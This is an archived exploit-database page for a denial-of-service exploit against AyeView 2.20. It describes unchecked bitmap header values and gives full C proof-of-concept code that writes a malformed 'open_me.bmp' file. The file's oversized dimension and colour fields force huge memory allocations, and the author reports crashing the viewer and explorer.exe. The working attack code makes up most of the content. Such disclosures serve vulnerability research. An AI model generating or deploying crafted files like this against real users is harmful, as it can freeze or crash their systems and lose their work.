exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ayeview-dos.txt

ayeview-dos.txt
Posted Oct 6, 2008
Authored by suN8Hclf | Site dark-coders.pl

AyeView version 2.20 invalid bitmap header parsing denial of service exploit.

tags | exploit, denial of service
SHA-256 | 9ada5ff4a3bb577bc6fa51dcabf831e6a852b7dad6b7e60fdc54fd6afbbb3fc4

ayeview-dos.txt

Change Mirror Download
Name      : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit
Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.ayeview.com/downloads.htm
Greetz : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind,
Katharsis, str0ke, all from #dark-coders and others;]

Short Desc:
AyeView v2.20 software does not properly parse values in bmp file header.
In fact it does it good but it does not check if these values are "reasonable".
Therefore we can create a special bitmap, that will slow down or even
suspend the entire system. I have written a PoC that enforce AyeView
to allocate large amounts of memory. Short history:

First start of exploit -> the system really slowed down
Second start(another values)-> I got a message that "the amount of virtual memory
is too low", explorer.exe crashed
Third start(another values) -> AyeView crashed

PoC:
------------------------------exploit---------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

struct bmpfile_header{
short bfType;
int bfSize;
int Res;
int bfOffBits;
int biSize;
int biWidth;
int biHeight;
short biPlanes;
short biBitCount;
int biCompression;
int biSizeImage;
int biXPelsPerMeter;
int biYPelsPerMeter;
int biClrUsed;
char biClrImportant;
char biClrRotation;
short biReserved;
}__attribute__((packed)); //shift to 54 bytes


#define WIDTH 3000 //play around with these values...
#define HEIGHT 60000
#define Y 44432
#define X 54444

int main(int argc, char *argv[])
{
struct bmpfile_header *bmpheader;
char *memory;
FILE *f;

memory=(char *)malloc(60);
if(memory==NULL){
perror("malloc");
return -1;
}
memset(memory, 0, 60);
bmpheader=(struct bmpfile_header *)memory;
printf("[+]Building bitmap... :)\n");
bmpheader->bfType=*(short *)"BM";
bmpheader->bfSize=(int)60;
bmpheader->Res=0;
bmpheader->bfOffBits=54;
bmpheader->biSize=40;
bmpheader->biHeight=(int)HEIGHT;
bmpheader->biWidth=(int)WIDTH;
bmpheader->biPlanes=1;
bmpheader->biBitCount=24;
bmpheader->biCompression=0;
bmpheader->biSizeImage=6;
bmpheader->biXPelsPerMeter=(int)X;
bmpheader->biYPelsPerMeter=(int)Y;
bmpheader->biClrUsed=255*255*255;
bmpheader->biClrImportant=0;
bmpheader->biClrRotation=0;

f=fopen("open_me.bmp", "wb");
if(!f){
perror("fopen");
free(memory);
exit(-1);
}
fwrite(memory, 1, 60, f);
fclose(f);
printf("[+]open_me.bmp bitmap created :)\n");
free(memory);
return 0;
}
------------------------------exploit---------------------------

Stay secure...


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close